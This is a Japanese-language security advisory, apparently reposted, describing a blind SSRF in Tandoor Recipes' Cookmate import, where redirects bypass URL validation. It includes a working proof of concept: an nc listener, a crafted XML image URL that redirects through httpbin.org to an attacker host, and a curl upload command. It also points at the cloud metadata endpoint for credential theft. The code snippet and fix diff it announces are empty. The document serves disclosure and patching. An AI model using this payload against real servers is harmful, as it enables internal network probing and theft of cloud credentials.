CVE-2026-25991: レシピインポート経由の内部ネットワークアクセスを伴うブラインドSSRF

概要

Tandoor RecipesのCookmateレシピインポート機能にブラインドサーバーサイドリクエストフォージェリ (SSRF) の脆弱性を発見しました。このアプリケーションはHTTPリダイレクトを追跡した後の宛先URLを検証しないため、認証された任意のユーザー（管理者権限を持たない標準ユーザーを含む） がサーバーに任意の内部または外部リソースへの接続を強制できる可能性があります。

この脆弱性は、内部ネットワークポートのスキャン、クラウドインスタンスメタデータ（例: AWS/GCPメタデータサービス）へのアクセス、またはサーバーの実際のIPアドレスの開示に悪用される可能性があります。

詳細

この脆弱性はcookbook/integration/cookmate.pyのCookmate統合クラス内に存在します。

1. 初期ロジック: インポートされたXMLファイルを処理する際、アプリケーションはimageurlフィールドを抽出します。
2. 初期チェック: URLはヘルパー関数validate_import_url（cookbook/helper/HelperFunctions.py内）を使用して検証され、プライベートIP範囲（例: 127.0.0.1、10.0.0.0/8）を正しくブロックします。
3. バイパス（脆弱なコード）: ただし、検証の直後に、コードはrequests.get(url)を使用して画像をダウンロードします。デフォルトでは、requestsライブラリはリダイレクトを追跡します（allow_redirects=True）。 validate_import_url関数は初期URLのみをチェックし、リダイレクト発生後の最終宛先を検証しません。

脆弱なコードスニペット（cookbook/integration/cookmate.py:73）:

攻撃者は外部サービス（httpbin.orgなど）を使用して、リクエストを制限された内部アドレス（例: http://127.0.0.1:80/ や http://169.254.169.254/）にリダイレクトできます。

重要な点として、AppImportView（cookbook/views/api.py）はCustomIsUser権限を明示的に許可しているため、登録済みの任意のユーザーがこの脆弱性をトリガーできます。 特別な管理者権限は必要ありません。

PoC（概念実証）

前提条件:

1. Tandoorインスタンスの標準ユーザーアカウント（管理者以外）。
2. ローカルにPythonがインストールされていること（またはncなどのHTTPリスニングツール）。

再現手順:

1. リスナーをセットアップ（攻撃者マシン）: ターミナルを開き、ncを起動して着信接続を待ち受けます。これは内部サービスまたは攻撃者制御のサーバーをシミュレートします。

   root@kitploit:~

   nc -lvnp 9999
   

2. 悪意のあるXMLペイロードを作成: payload.xmlという名前のファイルを作成します。<YOUR_IP>をあなたのパブリックIPアドレス（または到達可能なIP）に置き換えます。 このペイロードはhttpbin.orgを使用して初期のプライベートIPチェックをバイパスし、あなたのリスナーにリダイレクトします。

   root@kitploit:~

   <recipes>
     <recipe>
       <title>SSRF_PoC</title>
       <!-- Redirect to internal service or attacker's listener -->
       <imageurl>https://httpbin.org/redirect-to?url=http%3A%2F%2F<YOUR_IP>%3A9999%2Fsecret.txt</imageurl>
     </recipe>
   </recipes>
   

3. ZIPアーカイブを作成: TandoorではXMLをZIPファイル内に配置する必要があります。

   root@kitploit:~

   zip payload.zip payload.xml
   

4. エクスプロイトを実行（API経由）: 標準ユーザー（管理者ではない）としてログインし、セッションクッキーとCSRFトークンを取得します。 次に、/api/import/にPOSTリクエストを送信します: （<TARGET_URL>、<SESSION_ID>、<CSRF_TOKEN>を実際の値に置き換えてください）

   root@kitploit:~

   curl -X POST 'http://<TARGET_URL>/api/import/' \
     -H 'Cookie: sessionid=<SESSION_ID>; csrftoken=<CSRF_TOKEN>' \
     -H 'X-CSRFToken: <CSRF_TOKEN>' \
     -F 'type=COOKMATE' \
     -F '[email protected]' \
     -F 'duplicates=true'
   

5. 接続を確認: リスナーターミナル（nc）を確認します。Tandoorサーバーからの着信HTTP GETリクエストが表示されます。 これにより、標準ユーザーに代わってサーバーが任意の外部/内部リソースに接続したことが確認されます。
   root@kitploit:~

   GET /secret.txt HTTP/1.1
   Host: <YOUR_IP>:9999
   User-Agent: python-requests/2.x.x
   ...
   

影響

• 内部ネットワークスキャン: 攻撃者は内部ポートをプローブして実行中のサービスを発見できます。
• クラウドメタデータ漏洩: AWS/GCP/Azureにデプロイされている場合、攻撃者はインスタンスメタデータ（例: http://169.254.169.254/latest/meta-data/）にアクセスしてIAM認証情報を窃取し、インフラストラクチャ全体の侵害につながる可能性があります。
• 深刻度: 高（CVSS ~8.0） — 低い権限（標準ユーザー）のみが必要で、重大な影響（メタデータアクセス/内部スキャン）につながる可能性があるため。

修正方法

requests.get呼び出しで自動リダイレクト追跡を無効にするか、リダイレクトURLに対して厳格な検証を実装します。

差分（提案された修正）: